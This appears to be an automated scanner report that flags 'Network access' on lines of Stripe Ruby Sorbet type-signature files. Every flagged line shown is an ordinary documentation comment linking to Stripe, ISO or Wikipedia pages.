    def mb_way=(_mb_way); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 590
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 686
    }       def promptpay=(_promptpay); end       # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 687
    def promptpay=(_promptpay); end       # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.       sig { returns(T.nilable(ConfirmationTokenCreateParams::PaymentMethodData::Radar
  • Network accessline 688
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 902
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 903
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 904
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 922
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 923
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 924
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 992
    # Indicates that you intend to make future payments with this ConfirmationToken's payment method.     #     # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the Paymen
  • Network accessline 993
    #     # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from the
  • Network accessline 994
    # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from the user 

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/coupon_create_params.rbi

  • Network accessline 35
    }     def applies_to=(_applies_to); end     # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the `amount_off` parameter (required if `amount_off` is passed).
  • Network accessline 36
    def applies_to=(_applies_to); end     # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the `amount_off` parameter (required if `amount_off` is passed).     sig { returns(T.nilable(String)) }
  • Network accessline 37
    # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the `amount_off` parameter (required if `amount_off` is passed).
  • Network accessline 40
    sig { params(_currency: T.nilable(String)).returns(T.nilable(String)) }     def currency=(_currency); end     # Coupons defined in each available currency option (only supported if `amount_off` is passed). Each key must be a three-letter [I
  • Network accessline 41
    def currency=(_currency); end     # Coupons defined in each available currency option (only supported if `amount_off` is passed). Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [s
  • Network accessline 42
    # Coupons defined in each available currency option (only supported if `amount_off` is passed). Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.
  • Network accessline 72
    sig { params(_max_redemptions: T.nilable(Integer)).returns(T.nilable(Integer)) }     def max_redemptions=(_max_redemptions); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can
  • Network accessline 73
    def max_redemptions=(_max_redemptions); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format
  • Network accessline 74
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/coupon_update_params.rbi

  • Network accessline 14
    def initialize(amount_off: nil); end     end     # Coupons defined in each available currency option (only supported if the coupon is amount-based). Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-c
  • Network accessline 15
    end     # Coupons defined in each available currency option (only supported if the coupon is amount-based). Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](htt
  • Network accessline 16
    # Coupons defined in each available currency option (only supported if the coupon is amount-based). Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://str
  • Network accessline 26
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 27
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 28
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/credit_note_create_params.rbi

  • Network accessline 182
    sig { params(_memo: T.nilable(String)).returns(T.nilable(String)) }     def memo=(_memo); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional i
  • Network accessline 183
    def memo=(_memo); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can 
  • Network accessline 184
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/credit_note_list_preview_line_items_params.rbi

  • Network accessline 194
    sig { params(_memo: T.nilable(String)).returns(T.nilable(String)) }     def memo=(_memo); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional i
  • Network accessline 195
    def memo=(_memo); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can 
  • Network accessline 196
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/credit_note_preview_lines_list_params.rbi

  • Network accessline 194
    sig { params(_memo: T.nilable(String)).returns(T.nilable(String)) }     def memo=(_memo); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional i
  • Network accessline 195
    def memo=(_memo); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can 
  • Network accessline 196
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/credit_note_preview_params.rbi

  • Network accessline 182
    sig { params(_memo: T.nilable(String)).returns(T.nilable(String)) }     def memo=(_memo); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional i
  • Network accessline 183
    def memo=(_memo); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can 
  • Network accessline 184
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/credit_note_update_params.rbi

  • Network accessline 15
    sig { params(_memo: T.nilable(String)).returns(T.nilable(String)) }     def memo=(_memo); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional i
  • Network accessline 16
    def memo=(_memo); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can 
  • Network accessline 17
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_balance_transaction_create_params.rbi

  • Network accessline 10
    sig { params(_amount: Integer).returns(Integer) }     def amount=(_amount); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/c
  • Network accessline 11
    def amount=(_amount); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Specifies the [`invoice_credit_balance`](h
  • Network accessline 12
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Specifies the [`invoice_credit_balance`](https://docs.stripe.com/api/cus
  • Network accessline 25
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 26
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 27
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_balance_transaction_update_params.rbi

  • Network accessline 15
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 16
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 17
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_cash_balance_update_params.rbi

  • Network accessline 6
    class CustomerCashBalanceUpdateParams < ::Stripe::RequestParams     class Settings < ::Stripe::RequestParams       # Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, 
  • Network accessline 7
    class Settings < ::Stripe::RequestParams       # Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `merchant_default`. For more information about these re
  • Network accessline 8
    # Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `merchant_default`. For more information about these reconciliation modes, see [Reconciliation](https:

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_create_funding_instructions_params.rbi

  • Network accessline 50
    }     def bank_transfer=(_bank_transfer); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 51
    def bank_transfer=(_bank_transfer); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 52
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_create_params.rbi

  • Network accessline 11
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }       def city=(_city); end       # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code (
  • Network accessline 12
    def city=(_city); end       # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).  
  • Network accessline 13
    # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 31
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }       def postal_code=(_postal_code); end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 32
    def postal_code=(_postal_code); end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 33
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 50
    class CashBalance < ::Stripe::RequestParams       class Settings < ::Stripe::RequestParams         # Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `me
  • Network accessline 51
    class Settings < ::Stripe::RequestParams         # Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `merchant_default`. For more information about these 
  • Network accessline 52
    # Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `merchant_default`. For more information about these reconciliation modes, see [Reconciliation](https:
  • Network accessline 147
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country co
  • Network accessline 148
    def city=(_city); end         # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 149
    # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 167
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 168
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 169
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 234
    def initialize(type: nil, value: nil); end     end     # The customer's address. Learn about [country-specific requirements for calculating tax](https://docs.stripe.com/invoicing/taxes?dashboard-or-api=dashboard#set-up-customer).
  • Network accessline 235
    end     # The customer's address. Learn about [country-specific requirements for calculating tax](https://docs.stripe.com/invoicing/taxes?dashboard-or-api=dashboard#set-up-customer).     sig { returns(T.nilable(T.any(String, CustomerCreateP
  • Network accessline 236
    # The customer's address. Learn about [country-specific requirements for calculating tax](https://docs.stripe.com/invoicing/taxes?dashboard-or-api=dashboard#set-up-customer).
  • Network accessline 290
    }     def invoice_settings=(_invoice_settings); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structure
  • Network accessline 291
    def invoice_settings=(_invoice_settings); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured form
  • Network accessline 292
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_fund_cash_balance_params.rbi

  • Network accessline 5
    module Stripe   class CustomerFundCashBalanceParams < ::Stripe::RequestParams     # Amount to be used for this test cash balance transaction. A positive integer representing how much to fund in the [smallest currency unit](https://docs.stri
  • Network accessline 6
    class CustomerFundCashBalanceParams < ::Stripe::RequestParams     # Amount to be used for this test cash balance transaction. A positive integer representing how much to fund in the [smallest currency unit](https://docs.stripe.com/currencie
  • Network accessline 7
    # Amount to be used for this test cash balance transaction. A positive integer representing how much to fund in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to fund $1.00 or 100 to fund ¥100
  • Network accessline 10
    sig { params(_amount: Integer).returns(Integer) }     def amount=(_amount); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/c
  • Network accessline 11
    def amount=(_amount); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 12
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 20
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # A description of the test funding. This simulates free-text references supplied by customers when making bank tran
  • Network accessline 21
    def expand=(_expand); end     # A description of the test funding. This simulates free-text references supplied by customers when making bank transfers to their cash balance. You can use this to test how Stripe's [reconciliation algorithm](
  • Network accessline 22
    # A description of the test funding. This simulates free-text references supplied by customers when making bank transfers to their cash balance. You can use this to test how Stripe's [reconciliation algorithm](https://docs.stripe.com/paymen

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_funding_instructions_create_params.rbi

  • Network accessline 50
    }     def bank_transfer=(_bank_transfer); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 51
    def bank_transfer=(_bank_transfer); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 52
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_payment_source_create_params.rbi

  • Network accessline 10
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 11
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 12
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 17
    }     def metadata=(_metadata); end     # Please refer to full [documentation](https://api.stripe.com) instead.
  • Network accessline 18
    def metadata=(_metadata); end     # Please refer to full [documentation](https://api.stripe.com) instead.     sig { returns(String) }
  • Network accessline 19
    # Please refer to full [documentation](https://api.stripe.com) instead.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_payment_source_update_params.rbi

  • Network accessline 12
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 13
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 14
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 32
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 33
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 34
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 131
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 132
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 133
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_search_params.rbi

  • Network accessline 20
    sig { params(_page: T.nilable(String)).returns(T.nilable(String)) }     def page=(_page); end     # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query 
  • Network accessline 21
    def page=(_page); end     # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for customers](https://docs.stripe.com/search#query-fields-for-cu
  • Network accessline 22
    # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for customers](https://docs.stripe.com/search#query-fields-for-customers).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_session_create_params.rbi

  • Network accessline 17
    class CustomerSheet < ::Stripe::RequestParams         class Features < ::Stripe::RequestParams           # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that c
  • Network accessline 18
    class Features < ::Stripe::RequestParams           # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the customer sheet
  • Network accessline 19
    # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the customer sheet displays by filtering to only show payment methods
  • Network accessline 28
    # Controls whether the customer sheet displays the option to remove a saved payment method."           #           # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing th
  • Network accessline 29
    #           # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#pa
  • Network accessline 30
    # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method
  • Network accessline 60
    class MobilePaymentElement < ::Stripe::RequestParams         class Features < ::Stripe::RequestParams           # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values
  • Network accessline 61
    class Features < ::Stripe::RequestParams           # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the mobile payment
  • Network accessline 62
    # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the mobile payment element displays by filtering to only show payment
  • Network accessline 76
    # Controls whether the mobile payment element displays the option to remove a saved payment method."           #           # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Rem
  • Network accessline 77
    #           # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#pa
  • Network accessline 78
    # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method
  • Network accessline 83
    # Controls whether the mobile payment element displays a checkbox offering to save a new payment method.           #           # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#paymen
  • Network accessline 84
    #           # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentI
  • Network accessline 85
    # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentIntents, the 
  • Network accessline 131
    class PaymentElement < ::Stripe::RequestParams         class Features < ::Stripe::RequestParams           # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that 
  • Network accessline 132
    class Features < ::Stripe::RequestParams           # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the Payment Elemen
  • Network accessline 133
    # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the Payment Element displays by filtering to only show payment method
  • Network accessline 154
    # Controls whether the Payment Element displays the option to remove a saved payment method. This parameter defaults to `disabled`.           #           # Allowing buyers to remove their saved payment methods impacts subscriptions that dep
  • Network accessline 155
    #           # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#pa
  • Network accessline 156
    # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method
  • Network accessline 161
    # Controls whether the Payment Element displays a checkbox offering to save a new payment method. This parameter defaults to `disabled`.           #           # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/a
  • Network accessline 162
    #           # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentI
  • Network accessline 163
    # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentIntents, the 
  • Network accessline 166
    sig { params(_payment_method_save: T.nilable(String)).returns(T.nilable(String)) }           def payment_method_save=(_payment_method_save); end           # When using PaymentIntents and the customer checks the save checkbox, this field det
  • Network accessline 167
    def payment_method_save=(_payment_method_save); end           # When using PaymentIntents and the customer checks the save checkbox, this field determines the [`setup_future_usage`](https://docs.stripe.com/api/payment_intents/object#payment
  • Network accessline 168
    # When using PaymentIntents and the customer checks the save checkbox, this field determines the [`setup_future_usage`](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-setup_future_usage) value used to confirm the P
  • Network accessline 169
    #           # When using SetupIntents, directly configure the [`usage`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) value on SetupIntent creation.           sig { returns(T.nilable(String)) }
  • Network accessline 170
    # When using SetupIntents, directly configure the [`usage`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) value on SetupIntent creation.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_update_params.rbi

  • Network accessline 11
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }       def city=(_city); end       # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code (
  • Network accessline 12
    def city=(_city); end       # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).  
  • Network accessline 13
    # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 31
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }       def postal_code=(_postal_code); end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 32
    def postal_code=(_postal_code); end       # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).       sig { returns(T.nilable(String)) }
  • Network accessline 33
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 50
    class CashBalance < ::Stripe::RequestParams       class Settings < ::Stripe::RequestParams         # Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `me
  • Network accessline 51
    class Settings < ::Stripe::RequestParams         # Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `merchant_default`. For more information about these 
  • Network accessline 52
    # Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `merchant_default`. For more information about these reconciliation modes, see [Reconciliation](https:
  • Network accessline 147
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country co
  • Network accessline 148
    def city=(_city); end         # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 149
    # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 167
